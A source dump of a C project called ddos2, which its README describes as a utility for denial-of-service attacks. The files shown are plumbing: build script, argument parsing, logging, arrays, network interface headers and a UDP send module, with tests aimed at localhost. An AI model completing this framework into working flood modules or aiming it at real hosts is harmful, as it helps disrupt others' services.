declare -a SOURCES=("mod_a" "test" "tests/udp") 12 | 13 | target_configure(){ 14 | info "Performing pre-build configuration and checks" 15 | check_ld_flag "-shared" 16 | code=$? 17 | if [ ! $code -eq 0 ]; then 18 | warn "ld does not support shared. Will try to use gcc instead of ld" 19 | LD="gcc" 20 | fi 21 | } 22 | target_all(){ 23 | target_configure 24 | info "Building mod_a." 25 | require_directory $OBJ_DIR 26 | require_directory "${OBJ_DIR}/tests" 27 | require_directory $BIN_DIR 28 | require_directory $LIB_DIR 29 | for file in "${SOURCES[@]}" 30 | do 31 | exec "${CC} ${CFLAGS} ${file}.c -o ${OBJ_DIR}${file}.o" 32 | done 33 | change_dir $OBJ_DIR 34 | objects=$(printf " %s.o" "${SOURCES[@]}") 35 | exec "${LD} ${LD_FLAGS} -L${BASEDIR}/${LIB_DIR} -o ${BASEDIR}/${BIN_DIR}${EXECUTABLE} ${objects} -lddos2 -lc" 36 | leave_dir 37 | success "Succesfully built mod_a." 38 | } 39 | -------------------------------------------------------------------------------- /modules/mod_udp/mod_udp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "interface.h" 10 | 11 | char* mod_name="mod_udp"; 12 | char* mod_author="Andrewerr@github.com"; 13 | char* mod_version="1.0a"; 14 | char* mod_description="Implements UDP interface."; 15 | 16 | module_config_t* mod_on_load(program_config_t* config){ 17 | ddos2_begin(config); 18 | debug("Initialized mod_udp."); 19 | /* Register interface */ 20 | iface_t* iface=network_iface("udp"); 21 | iface->connection_open=&udp_connection_open; 22 | iface->packet_send=&udp_packet_send; 23 | iface->connection_close=&udp_connection_close; 24 | iface->packet_receive=NULL; 25 | register_iface(iface); 26 | debug("Registered UDP interface"); 27 | /* Add arguments */ 28 | argument_add("--udp-timeout","Timeout for UDP interface", ARG_INT, argint(1000), true, false); 29 | argument_add("--udp-chunksize","Set chunksize for big UDP datagrams", ARG_INT,argint(1400),true,false); 30 | 31 | return ddos2_modconfig(mod_name,mod_author,mod_description,mod_version); 32 | } 33 | 34 | void mod_on_init(void){ 35 | chunksize=argument_value_get("--udp-chunksize").intValue; 36 | } 37 | 38 | void mod_on_run(void){ //Stub 39 | warn("Module is not runnable."); 40 | } 41 | 42 | -------------------------------------------------------------------------------- /library/libddos2/arguments.h: -------------------------------------------------------------------------------- 1 | // 2 | // arguments.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef arguments_h 10 | #define arguments_h 11 | 12 | #include 13 | #include 14 | 15 | #include "hashtable.h" 16 | 17 | #define argint(E) (argvalue)(int64_t)E 18 | #define argbool(E) (argvalue)(bool)E 19 | #define argstr(E) (argvalue)E 20 | 21 | typedef enum{ 22 | ARG_INT, 23 | ARG_STR, 24 | ARG_BOOL 25 | } argtype; 26 | 27 | typedef union{ 28 | int64_t intValue; 29 | char* strValue; 30 | bool boolValue; 31 | }argvalue; 32 | 33 | typedef struct{ 34 | char* name; 35 | char* description; 36 | bool compulsory; 37 | argtype type; 38 | argvalue value; 39 | bool is_set; 40 | bool is_help; 41 | array_t* values; 42 | } argument_t; 43 | 44 | void arguments_begin(hashtable* config); 45 | argument_t *argument_create(char* name, char* description, argtype type, bool compulsory, argvalue _default,bool has_default_value, bool is_help, bool array); 46 | void argument_add_compulsory(char* name, char* description, argtype type); 47 | void argument_add(char* name, char* description, argtype type, argvalue _default, bool has_default_value, bool is_help); 48 | argument_t* argument_get(char *name); 49 | bool argument_check(char *name); 50 | argvalue argument_value_get(char *name); 51 | void _register_argument(argument_t *argument); 52 | void argument_add_array(char* name, char* description,argtype type, bool compulsory); 53 | 54 | #endif /* arguments_h */ 55 | -------------------------------------------------------------------------------- /library/include/ddos2/arguments.h: -------------------------------------------------------------------------------- 1 | // 2 | // arguments.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef arguments_h 10 | #define arguments_h 11 | 12 | #include 13 | #include 14 | 15 | #include "hashtable.h" 16 | 17 | #define argint(E) (argvalue)(int64_t)E 18 | #define argbool(E) (argvalue)(bool)E 19 | #define argstr(E) (argvalue)E 20 | 21 | typedef enum{ 22 | ARG_INT, 23 | ARG_STR, 24 | ARG_BOOL 25 | } argtype; 26 | 27 | typedef union{ 28 | int64_t intValue; 29 | char* strValue; 30 | bool boolValue; 31 | }argvalue; 32 | 33 | typedef struct{ 34 | char* name; 35 | char* description; 36 | bool compulsory; 37 | argtype type; 38 | argvalue value; 39 | bool is_set; 40 | bool is_help; 41 | array_t* values; 42 | } argument_t; 43 | 44 | void arguments_begin(hashtable* config); 45 | argument_t *argument_create(char* name, char* description, argtype type, bool compulsory, argvalue _default,bool has_default_value, bool is_help, bool array); 46 | void argument_add_compulsory(char* name, char* description, argtype type); 47 | void argument_add(char* name, char* description, argtype type, argvalue _default, bool has_default_value, bool is_help); 48 | argument_t* argument_get(char *name); 49 | bool argument_check(char *name); 50 | argvalue argument_value_get(char *name); 51 | void _register_argument(argument_t *argument); 52 | void argument_add_array(char* name, char* description,argtype type, bool compulsory); 53 | 54 | #endif /* arguments_h */ 55 | -------------------------------------------------------------------------------- /src/message.c: -------------------------------------------------------------------------------- 1 | // 2 | // message.c 3 | // ddos-2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "message.h" 10 | 11 | uint8_t log_level=0b1111111; 12 | 13 | void debug(const char * format, ...){ 14 | if(LVL_DEBUG&log_level){ 15 | PRINT_FORMATTED(INFO); 16 | } 17 | } 18 | 19 | void info(const char* format, ...){ 20 | if(LVL_INFO&log_level){ 21 | PRINT_FORMATTED(INFO); 22 | } 23 | } 24 | 25 | void warn(const char* format, ...){ 26 | if(LVL_WARN&log_level){ 27 | PRINT_FORMATTED(WARN); 28 | } 29 | } 30 | 31 | void error(const char* format, ...){ 32 | if(LVL_ERROR&log_level){ 33 | PRINT_FORMATTED(ERROR); 34 | } 35 | } 36 | 37 | void success(const char* format, ...){ 38 | if(LVL_SUCCESS&log_level){ 39 | PRINT_FORMATTED(SUCCESS); 40 | } 41 | } 42 | 43 | void die(const char* format, ...){ 44 | if(LVL_FATAL&log_level){ 45 | PRINT_FORMATTED(ERROR); 46 | error("Fatal error."); 47 | } 48 | exit(-1); 49 | } 50 | 51 | void status(const char* format, ...){ 52 | if(LVL_STATUS&log_level){ 53 | PRINT_FORMATTED_NO_NEWLINE(SUCCESS); 54 | } 55 | } 56 | 57 | void debug_warn(const char* format, ...){ 58 | if(LVL_DEBUG&log_level){ 59 | PRINT_FORMATTED(WARN); 60 | } 61 | } 62 | 63 | void set_loglevel(uint8_t _log_level){ 64 | log_level= _log_level; 65 | } 66 | 67 | void add_loglevel(uint8_t _log_level){ 68 | log_level = log_level | _log_level; 69 | } 70 | 71 | void remove_loglevel(uint8_t _log_level){ 72 | _log_level = ~_log_level; 73 | log_level = log_level & _log_level; 74 | } 75 | -------------------------------------------------------------------------------- /src/arguments.h: -------------------------------------------------------------------------------- 1 | // 2 | // arguments.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef arguments_h 10 | #define arguments_h 11 | 12 | #include 13 | #include 14 | 15 | #include "hashtable.h" 16 | 17 | #define argint(E) (argvalue)(int64_t)E 18 | #define argbool(E) (argvalue)(bool)E 19 | #define argstr(E) (argvalue)E 20 | 21 | typedef enum{ 22 | ARG_INT, 23 | ARG_STR, 24 | ARG_BOOL 25 | } argtype; 26 | 27 | typedef union{ 28 | int64_t intValue; 29 | char* strValue; 30 | bool boolValue; 31 | }argvalue; 32 | 33 | typedef struct{ 34 | char* name; 35 | char* description; 36 | bool compulsory; 37 | argtype type; 38 | argvalue value; 39 | bool is_set; 40 | bool is_help; 41 | array_t* values;//Implements multiple arguments pushing something to an array 42 | } argument_t; 43 | 44 | extern hashtable* arguments; 45 | 46 | void arguments_begin(void); 47 | argument_t *argument_create(char* name, char* description, argtype type, bool compulsory, argvalue _default,bool has_default_value, bool is_help, bool array); 48 | void argument_add_compulsory(char* name, char* description, argtype type); 49 | void argument_add(char* name, char* description, argtype type, argvalue _default, bool has_default_value, bool is_help); 50 | void arguments_parse(int argc, const char * argv[], int start); 51 | argument_t* argument_get(char *name); 52 | bool argument_check(char *name); 53 | argvalue argument_value_get(char *name); 54 | void arguments_help(const char *progname); 55 | void _register_argument(argument_t *argument); 56 | argvalue argument_value_get_s(char *name, argtype type); 57 | void argument_add_array(char* name, char* description,argtype type, bool compulsory); 58 | #endif /* arguments_h */ 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ddos2 2 | ddos2 – utility for denial of service attacks. **WORK IN PROGRESS** 3 | 4 | 5 | # Building 6 | ![Test(Ubuntu x86_64)](https://github.com/Andrewerr/ddos2/workflows/Test(Ubuntu%20x86_64)/badge.svg) 7 | ![Core(Ubuntu x86_64)](https://github.com/Andrewerr/ddos2/workflows/Core(Ubuntu%20x86_64)/badge.svg) 8 | ![Library(libddos2@Ubuntu x86_64)](https://github.com/Andrewerr/ddos2/workflows/Library(libddos2@Ubuntu%20x86_64)/badge.svg) 9 | ![Modules(Ubuntu x86_64)](https://github.com/Andrewerr/ddos2/workflows/Modules(Ubuntu%20x86_64)/badge.svg) 10 | Currently debug builds are supported only on the systems with `gcc-9` present.
11 | To build program in release mode:
12 | 13 | `./build.sh all` 14 | Note that for this build command `gcc` is required. 15 | 16 | To build program in debug mode:
17 | `./build.sh all-debug` 18 | 19 | Note that for this build command `gcc-9` and libraries `libasan`, `libubsan` are required. 20 | 21 | # Modules 22 | ddos2 uses modules to implement network interfaces and perform different scenarios of attack. Modules are stored in format of shared objects(`.so`). Each module should have functions that called when it is loaded, when optioons parsed and finally when program was initiallized. More documentation will soon appear in wiki. Modules that are expected to be in release of version 2.0: 23 | * `mod_tcp` – implements tcp interface. 24 | * `mod_udp` – implements udp interface. 25 | * `mod_icmp` – implemnts icmp interface. 26 | * `tcp` – simple DoS attacks over TCP. 27 | * `udp` – DoS attacks over UDP. 28 | * `icmp` – icmp DoS attack 29 | # Network interfaces 30 | As already was said module can implement network interface. The idea of any network interface it to send or receive packets to some target. So it is enough to implement functions that send/receive packets. For some of them it is required to open connections, so there is more functions in interface(`iface_t` in `network.h`) that helps to work with connections if this is required by protocol. 31 | 32 | -------------------------------------------------------------------------------- /library/libddos2/network.h: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // network.h 4 | // ddos2 5 | // 6 | // Created by Andre Zay on 20/01/2020. 7 | // Copyright © 2020 Andre Zay. All rights reserved. 8 | // 9 | 10 | #ifndef network_h 11 | #define network_h 12 | 13 | #include "hashtable.h" 14 | #include "array.h" 15 | 16 | #include 17 | #include 18 | 19 | typedef struct _connection_t{ 20 | char* target; 21 | bool is_open; 22 | void* descriptor; 23 | struct _iface_t* iface; 24 | } connection_t; 25 | 26 | typedef struct _packet_t{ 27 | char* target; 28 | void* payload; 29 | struct _iface_t* iface; 30 | size_t sz; 31 | connection_t* connection; //if supported 32 | bool open_connection; //true if requires opening new connection 33 | hashtable* options; 34 | } packet_t; 35 | 36 | typedef struct _iface_t{ 37 | char* name; 38 | uint64_t packets_sent; 39 | uint64_t bytes_sent; 40 | bool (*packet_send)(packet_t*); 41 | packet_t* (*packet_receive)(connection_t*); 42 | connection_t* (*connection_open)(char*); 43 | bool (*connection_close)(connection_t*); 44 | connection_t* (*connection_wait)(struct _iface_t*,int); 45 | packet_t* (*packet_listen)(struct _iface_t*); 46 | } iface_t; 47 | 48 | //extern hashtable* network_ifaces; 49 | void network_begin(hashtable* ifaces, bool _stats); 50 | void network_set_stats(bool stat); 51 | iface_t* network_iface(char* name); 52 | void register_iface(iface_t* iface); 53 | connection_t* connection_open(iface_t* iface, char* target); 54 | bool connection_close(connection_t* connection); 55 | bool packet_send(iface_t* iface, packet_t* packet); 56 | packet_t* packet_receive(connection_t* connection); 57 | bool check_iface(char* name); 58 | iface_t* get_iface(char* name); 59 | array_t* list_ifaces(void); 60 | packet_t* packet_create(char* target, void* payload,size_t sz); 61 | packet_t* packet_listen(iface_t* iface); 62 | connection_t* connection_wait(iface_t* iface, int port); 63 | 64 | #endif /* network_h */ 65 | -------------------------------------------------------------------------------- /library/include/ddos2/network.h: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // network.h 4 | // ddos2 5 | // 6 | // Created by Andre Zay on 20/01/2020. 7 | // Copyright © 2020 Andre Zay. All rights reserved. 8 | // 9 | 10 | #ifndef network_h 11 | #define network_h 12 | 13 | #include "hashtable.h" 14 | #include "array.h" 15 | 16 | #include 17 | #include 18 | 19 | typedef struct _connection_t{ 20 | char* target; 21 | bool is_open; 22 | void* descriptor; 23 | struct _iface_t* iface; 24 | } connection_t; 25 | 26 | typedef struct _packet_t{ 27 | char* target; 28 | void* payload; 29 | struct _iface_t* iface; 30 | size_t sz; 31 | connection_t* connection; //if supported 32 | bool open_connection; //true if requires opening new connection 33 | hashtable* options; 34 | } packet_t; 35 | 36 | typedef struct _iface_t{ 37 | char* name; 38 | uint64_t packets_sent; 39 | uint64_t bytes_sent; 40 | bool (*packet_send)(packet_t*); 41 | packet_t* (*packet_receive)(connection_t*); 42 | connection_t* (*connection_open)(char*); 43 | bool (*connection_close)(connection_t*); 44 | connection_t* (*connection_wait)(struct _iface_t*,int); 45 | packet_t* (*packet_listen)(struct _iface_t*); 46 | } iface_t; 47 | 48 | //extern hashtable* network_ifaces; 49 | void network_begin(hashtable* ifaces, bool _stats); 50 | void network_set_stats(bool stat); 51 | iface_t* network_iface(char* name); 52 | void register_iface(iface_t* iface); 53 | connection_t* connection_open(iface_t* iface, char* target); 54 | bool connection_close(connection_t* connection); 55 | bool packet_send(iface_t* iface, packet_t* packet); 56 | packet_t* packet_receive(connection_t* connection); 57 | bool check_iface(char* name); 58 | iface_t* get_iface(char* name); 59 | array_t* list_ifaces(void); 60 | packet_t* packet_create(char* target, void* payload,size_t sz); 61 | packet_t* packet_listen(iface_t* iface); 62 | connection_t* connection_wait(iface_t* iface, int port); 63 | 64 | #endif /* network_h */ 65 | -------------------------------------------------------------------------------- /modules/mod_udp/socket.c: -------------------------------------------------------------------------------- 1 | #include "socket.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include "util.h" 22 | 23 | int udp_socket(void){ 24 | int sock = socket(AF_INET, SOCK_DGRAM, 0); 25 | if(!sock){ 26 | error("socket: %s(%d)[%s:%d]",strerror(errno),errno,__FILE__,__LINE__); 27 | } 28 | return sock; 29 | } 30 | 31 | bool udp_set_timeout(int sock,struct timeval tv){ 32 | if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0) { 33 | error("setsocopt: %s(%d)[%s:%d]",__FILE__,__LINE__); 34 | return false; 35 | } 36 | return true; 37 | } 38 | 39 | bool udp_sendto(int sock, char* _target,int port, void* payload,size_t size, size_t chunksize){ 40 | assert(chunksize>0); 41 | char* host=hostname2ip(_target); 42 | if(!host){ 43 | return false; 44 | } 45 | struct sockaddr_in target; 46 | target.sin_family = AF_INET; 47 | target.sin_port = htons(port); 48 | target.sin_addr.s_addr = inet_addr(host); 49 | 50 | while(size>0){ 51 | if(sendto(sock, payload, u32_min(chunksize, size), 0, (struct sockaddr*)&target, sizeof(target)) == -1){ 52 | error("UDP sendto %s:%d failed: %s(%d)", host, port, strerror(errno),errno); 53 | return false; 54 | } 55 | payload+=u32_min(chunksize, size); 56 | size-=u32_min(chunksize, size); 57 | } 58 | 59 | return true; 60 | } 61 | 62 | bool udp_close(int sock){ 63 | if(sock<0){ 64 | error("Failed to close socket: non-opened socket."); 65 | return false; 66 | } 67 | close(sock); 68 | return true; 69 | } 70 | 71 | -------------------------------------------------------------------------------- /library/libddos2/message.c: -------------------------------------------------------------------------------- 1 | // 2 | // message.c 3 | // ddos-2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "message.h" 10 | 11 | uint8_t* _log_level; 12 | 13 | void debug(const char * format, ...){ 14 | uint8_t log_level=*_log_level; 15 | if(LVL_INFO&log_level){ 16 | PRINT_FORMATTED(INFO); 17 | } 18 | } 19 | 20 | void info(const char* format, ...){ 21 | uint8_t log_level=*_log_level; 22 | if(LVL_INFO&log_level){ 23 | PRINT_FORMATTED(INFO); 24 | } 25 | } 26 | 27 | void warn(const char* format, ...){ 28 | uint8_t log_level=*_log_level; 29 | if(LVL_WARN&log_level){ 30 | PRINT_FORMATTED(WARN); 31 | } 32 | } 33 | 34 | void error(const char* format, ...){ 35 | uint8_t log_level=*_log_level; 36 | if(LVL_ERROR&log_level){ 37 | PRINT_FORMATTED(ERROR); 38 | } 39 | } 40 | 41 | void success(const char* format, ...){ 42 | uint8_t log_level=*_log_level; 43 | if(LVL_SUCCESS&log_level){ 44 | PRINT_FORMATTED(SUCCESS); 45 | } 46 | } 47 | 48 | void die(const char* format, ...){ 49 | uint8_t log_level=*_log_level; 50 | if(LVL_FATAL&log_level){ 51 | PRINT_FORMATTED(ERROR); 52 | error("Fatal error."); 53 | } 54 | exit(-1); 55 | } 56 | 57 | void status(const char* format, ...){ 58 | uint8_t log_level=*_log_level; 59 | if(LVL_STATUS&log_level){ 60 | PRINT_FORMATTED_NO_NEWLINE(SUCCESS); 61 | } 62 | } 63 | 64 | void debug_warn(const char* format, ...){ 65 | uint8_t log_level=*_log_level; 66 | if(LVL_STATUS&log_level){ 67 | PRINT_FORMATTED(WARN); 68 | } 69 | } 70 | /* 71 | void set_loglevel(uint8_t _log_level){ 72 | log_level= _log_level; 73 | } 74 | 75 | void add_loglevel(uint8_t _log_level){ 76 | log_level = log_level | _log_level; 77 | } 78 | 79 | void remove_loglevel(uint8_t _log_level){ 80 | _log_level = ~_log_level; 81 | log_level = log_level & _log_level; 82 | } 83 | */ 84 | void message_begin(uint8_t* __log_level){ 85 | _log_level=__log_level; 86 | } 87 | -------------------------------------------------------------------------------- /src/array.c: -------------------------------------------------------------------------------- 1 | // 2 | // array.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "array.h" 10 | 11 | #include "message.h" //For debug 12 | 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | array_t *array_create(int capacity){ 21 | array_t *_array=(array_t *)malloc(sizeof(array_t)); 22 | _array->capacity=capacity; 23 | _array->sz=0; 24 | _array->base=(void **)malloc(sizeof(void*)*capacity); 25 | _array->base[0]=NULL; 26 | return _array; 27 | } 28 | 29 | void array_add(array_t *_array,void *object){ 30 | if(_array->sz+1 >= _array->capacity){ 31 | _array->base=(void**)realloc(_array->base, sizeof(void*)*(_array->capacity+1)); 32 | _array->capacity++; 33 | } 34 | _array->base[_array->sz]=object; 35 | _array->sz++; 36 | } 37 | 38 | void array_free(array_t *_array){ 39 | free(_array->base); 40 | free(_array); 41 | } 42 | 43 | bool in_array(array_t *_array, void *object){ 44 | int i=0; 45 | for(;i<_array->sz;++i){ 46 | if(object==_array->base[i]){ 47 | return true; 48 | } 49 | } 50 | return false; 51 | } 52 | 53 | void array_pop(array_t *_array){ 54 | if(_array->sz<=1){ 55 | return ; 56 | } 57 | _array->base=(void**)realloc(_array->base, (_array->sz-1)*sizeof(void*)); 58 | _array->sz--; 59 | } 60 | 61 | void array_cat(array_t *dst,array_t *src){ 62 | int i=0; 63 | for(;isz;++i){ 64 | array_add(dst, src->base[i]); 65 | } 66 | } 67 | 68 | array_t *array_cpy(array_t *src){ 69 | array_t *_new=array_create((int)src->sz); 70 | memcpy(_new->base, src->base, sizeof(void*)*src->sz); 71 | _new->sz=src->sz; 72 | return _new; 73 | } 74 | 75 | void array_del(array_t *_array,int pos){ 76 | assert(pos<_array->sz); 77 | if(pos==_array->sz-1){ 78 | array_pop(_array); 79 | return ; 80 | } 81 | int i=pos+1; 82 | for(;i<_array->sz;i++){ 83 | _array->base[i-1]=_array->base[i]; 84 | } 85 | array_pop(_array); 86 | } 87 | -------------------------------------------------------------------------------- /modules/mod_udp/interface.c: -------------------------------------------------------------------------------- 1 | #include "interface.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "socket.h" 10 | #include "util.h" 11 | /* 12 | NOTE: There is no connections in UDP proto, but still any socket opened 13 | is needed to be stored. Parameter target would be ignored. Real 14 | packet target should be specified in it's options. 15 | */ 16 | 17 | int64_t chunksize; 18 | 19 | connection_t* udp_connection_open(char* target){ 20 | /* Params: target – stub: pass NULL */ 21 | udp_descriptor_t* conn=(udp_descriptor_t*)malloc(sizeof(udp_descriptor_t)); 22 | conn->fd=udp_socket(); 23 | if(!conn->fd){ 24 | free(conn); 25 | return NULL; 26 | } 27 | conn->open_time=time(NULL); 28 | /* Create interface structure */ 29 | connection_t* connection=(connection_t*)malloc(sizeof(connection_t)); 30 | connection->target=NULL; 31 | connection->is_open=true; 32 | connection->descriptor=conn; 33 | return connection; 34 | } 35 | 36 | bool udp_packet_send(packet_t* packet){ 37 | if(!packet->options){ 38 | error("Programming error: %s: bad argrument: packet->options should not be NULL![%s:%d]",__FUNCTION__,__FILE__,__LINE__); 39 | return false; 40 | } 41 | if(!packet->target){ 42 | error("Programming error: %s: packet has bad option: target==NULL![%s:%d]",__FUNCTION__,__FILE__,__LINE__); 43 | } 44 | char* target=(char*)malloc(sizeof(char)*(strlen(packet->target)+1)); 45 | strcpy(target,packet->target); 46 | char* host=strtok(target,":"); 47 | int port=atoi(strtok(NULL,":")); 48 | char* ip=hostname2ip(host); 49 | bool stat=udp_sendto(((udp_descriptor_t*)packet->connection->descriptor)->fd,host, port, packet->payload, packet->sz, chunksize); 50 | free(ip); 51 | free(target); 52 | return stat; 53 | } 54 | 55 | 56 | bool udp_connection_close(connection_t* connection){ 57 | bool stat=udp_close(((udp_descriptor_t*)connection->descriptor)->fd); 58 | free(connection->descriptor); 59 | free(connection); 60 | return stat; 61 | } 62 | 63 | 64 | -------------------------------------------------------------------------------- /library/libddos2/array.c: -------------------------------------------------------------------------------- 1 | // 2 | // array.c 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #include "array.h" 10 | 11 | #include "message.h" //For debug 12 | 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | array_t *array_create(int capacity){ 21 | array_t *_array=(array_t *)malloc(sizeof(array_t)); 22 | _array->capacity=capacity; 23 | _array->sz=0; 24 | _array->base=(void **)malloc(sizeof(void*)*capacity); 25 | _array->base[0]=NULL; 26 | return _array; 27 | } 28 | 29 | void array_add(array_t *_array,void *object){ 30 | if(_array->sz+1 >= _array->capacity){ 31 | _array->base=(void**)realloc(_array->base, sizeof(void*)*(_array->capacity+1)); 32 | _array->capacity++; 33 | } 34 | _array->base[_array->sz]=object; 35 | _array->sz++; 36 | } 37 | 38 | void array_free(array_t *_array){ 39 | free(_array->base); 40 | free(_array); 41 | } 42 | 43 | bool in_array(array_t *_array, void *object){ 44 | int i=0; 45 | for(;i<_array->sz;++i){ 46 | if(object==_array->base[i]){ 47 | return true; 48 | } 49 | } 50 | return false; 51 | } 52 | 53 | void array_pop(array_t *_array){ 54 | if(_array->sz<=1){ 55 | return ; 56 | } 57 | _array->base=(void**)realloc(_array->base, (_array->sz-1)*sizeof(void*)); 58 | _array->sz--; 59 | } 60 | 61 | void array_cat(array_t *dst,array_t *src){ 62 | int i=0; 63 | for(;isz;++i){ 64 | array_add(dst, src->base[i]); 65 | } 66 | } 67 | 68 | array_t *array_cpy(array_t *src){ 69 | array_t *_new=array_create((int)src->sz); 70 | memcpy(_new->base, src->base, sizeof(void*)*src->sz); 71 | _new->sz=src->sz; 72 | return _new; 73 | } 74 | 75 | void array_del(array_t *_array,int pos){ 76 | assert(pos<_array->sz); 77 | if(pos==_array->sz-1){ 78 | array_pop(_array); 79 | return ; 80 | } 81 | int i=pos+1; 82 | for(;i<_array->sz;i++){ 83 | _array->base[i-1]=_array->base[i]; 84 | } 85 | array_pop(_array); 86 | } 87 | -------------------------------------------------------------------------------- /src/network.h: -------------------------------------------------------------------------------- 1 | // 2 | // network.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 20/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef network_h 10 | #define network_h 11 | 12 | #include "hashtable.h" 13 | #include "array.h" 14 | #include "config.h" 15 | 16 | #include 17 | #include 18 | 19 | typedef struct _connection_t{ 20 | char* target; 21 | bool is_open; 22 | void* descriptor; 23 | struct _iface_t* iface; 24 | } connection_t; 25 | 26 | typedef struct _packet_t{ 27 | char* target; 28 | char* payload; 29 | struct _iface_t* iface; 30 | size_t sz; 31 | connection_t* connection; //if supported 32 | bool open_connection; //true if requires opening new connection 33 | hashtable* options; 34 | } packet_t; 35 | 36 | typedef struct _iface_t{ 37 | char* name; 38 | uint64_t packets_sent; 39 | uint64_t bytes_sent; 40 | bool (*packet_send)(packet_t*); 41 | packet_t* (*packet_receive)(connection_t*); 42 | connection_t* (*connection_open)(char*); 43 | bool (*connection_close)(connection_t*); 44 | connection_t* (*connection_wait)(struct _iface_t*,int);//TCP-like listen 45 | packet_t* (*packet_listen)(struct _iface_t*);//UDP-like listen 46 | } iface_t; 47 | 48 | extern hashtable* network_ifaces; 49 | extern bool network_statistics; 50 | 51 | /* 52 | !!!WARNING!!! While implementing your network module you 53 | DO NOT NEED to implement any of functions 54 | below. You should implement functions which 55 | are decalred in structure iface_t 56 | */ 57 | 58 | void network_begin(void); 59 | void network_set_stats(bool stat); 60 | iface_t* network_iface(char* name); 61 | void register_iface(iface_t* iface); 62 | connection_t* connection_open(iface_t* iface, char* target); 63 | bool connection_close(connection_t* connection); 64 | bool packet_send(iface_t* iface, packet_t* packet); 65 | packet_t* packet_receive(connection_t* connection); 66 | void network_print_ifaces(void); 67 | packet_t* packet_listen(iface_t* iface); 68 | connection_t* connection_wait(iface_t* iface, int port); 69 | /* 70 | TODO: 71 | packet_t* packet_create(...); 72 | */ 73 | #endif /* network_h */ 74 | -------------------------------------------------------------------------------- /modules/mod_a/tests/udp.c: -------------------------------------------------------------------------------- 1 | #include "udp.h" 2 | #include "../test.h" 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | connection_t* conn; 13 | 14 | bool test_init(void){ 15 | iface_t* iface=get_iface("udp"); 16 | if(!iface){ 17 | return false; 18 | } 19 | return true; 20 | } 21 | bool test_open(void){ 22 | iface_t* iface=get_iface("udp"); 23 | conn=connection_open(iface,NULL); 24 | if(!conn){ 25 | free(conn); 26 | return false; 27 | } 28 | return true; 29 | } 30 | 31 | bool test_send(void){ 32 | iface_t* iface=get_iface("udp"); 33 | char* packet_data=argument_value_get("--test-udp-data").strValue; 34 | char* packet_target=argument_value_get("--test-udp-target").strValue; 35 | packet_t* packet=packet_create(packet_target,packet_data,sizeof(char)*(strlen(packet_data)+1)); 36 | packet->connection=conn; 37 | bool stat=iface->packet_send(packet); 38 | free(packet); 39 | return stat; 40 | } 41 | bool test_long_send(void){ 42 | int64_t size=argument_value_get("--test-udp-long-packet-size").intValue; 43 | void* data=(void*)malloc(size*sizeof(char)); 44 | char* packet_target=argument_value_get("--test-udp-target").strValue; 45 | packet_t* packet=packet_create(packet_target,data,size*sizeof(char)); 46 | iface_t* iface=get_iface("udp"); 47 | packet->connection=conn; 48 | bool stat =iface->packet_send(packet); 49 | free(packet); 50 | return stat; 51 | } 52 | bool test_close(void){ 53 | iface_t* iface=get_iface("udp"); 54 | return iface->connection_close(conn); 55 | } 56 | 57 | void udp_tests_prepare(void){ 58 | argument_add("--test-udp-data","UDP test data which would be put in test packet.",ARG_STR,argstr("Hello,UDP!"),true,false); 59 | argument_add("--test-udp-target","UDP test target host",ARG_STR,argstr("127.0.0.1:1712"),true,false); 60 | argument_add("--test-udp-long-packet-size","UDP long packet size",ARG_INT,argint(8196),true,false); 61 | } 62 | 63 | void udp_tests_register(void){ 64 | test_add("udp/init",&test_init); 65 | test_add("udp/open",&test_open); 66 | test_add("udp/send",&test_send); 67 | test_add("udp/long_send",&test_long_send); 68 | test_add("udp/close",&test_close); 69 | } 70 | -------------------------------------------------------------------------------- /src/message.h: -------------------------------------------------------------------------------- 1 | // 2 | // message.h 3 | // ddos-2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef message_h 10 | #define message_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #define LVL_DEBUG 0b0000001 21 | #define LVL_INFO 0b0000010 22 | #define LVL_SUCCESS 0b0000100 23 | #define LVL_WARN 0b0001000 24 | #define LVL_ERROR 0b0010000 25 | #define LVL_FATAL 0b0100000 26 | #define LVL_STATUS 0b1000000 27 | 28 | #define LVL_FULL 0b1111111 29 | #define LVL_RELEASE 0b1111110 30 | #define LVL_NONE 0b0000000 31 | #define LVL_FAST 0b0110000 32 | #define LVL_STAT 0b1100000 //shows only status and fatal errors 33 | 34 | 